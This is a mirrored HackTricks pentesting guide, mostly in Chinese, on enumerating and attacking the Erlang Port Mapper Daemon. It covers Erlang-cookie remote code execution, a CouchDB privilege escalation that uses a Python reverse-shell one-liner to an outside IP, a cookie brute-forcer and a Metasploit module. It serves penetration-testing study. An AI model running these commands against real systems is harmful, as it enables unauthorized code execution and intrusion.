Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
Translator workflow a21a0e7217 Translated to Chinese
2023-08-03 19:12:22 +00:00

6.5 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

Erlang端口映射守护程序用于协调分布式Erlang实例。它的工作是跟踪哪个节点名称监听哪个地址。因此，epmd将符号节点名称映射到机器地址。

默认端口：4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

这在RabbitMQ和CouchDB安装中默认使用。

枚举

手动枚举

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

自动化

The process of automating tasks is a crucial aspect of efficient and effective hacking. By automating repetitive tasks, hackers can save time and increase productivity. There are various tools and scripts available that can be used to automate different aspects of the hacking process. These tools can be used to scan for vulnerabilities, exploit them, gather information, and perform other tasks. Automating tasks not only saves time but also reduces the chances of human error. It allows hackers to focus on more complex and critical aspects of the hacking process.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

远程连接

如果你能够泄露认证cookie，你将能够在主机上执行代码。通常，这个cookie位于~/.erlang.cookie中，并且在erlang第一次启动时由erlang生成。如果没有修改或手动设置，它是一个长度为20个字符的随机字符串[A:Z]。

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

更多信息请参考https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
作者还分享了一个用于暴力破解cookie的程序：

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

本地连接

在这种情况下，我们将滥用CouchDB以在本地提升权限：

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

从https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution中获取的示例
您可以使用Canape HTB机器来练习如何利用此漏洞。

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥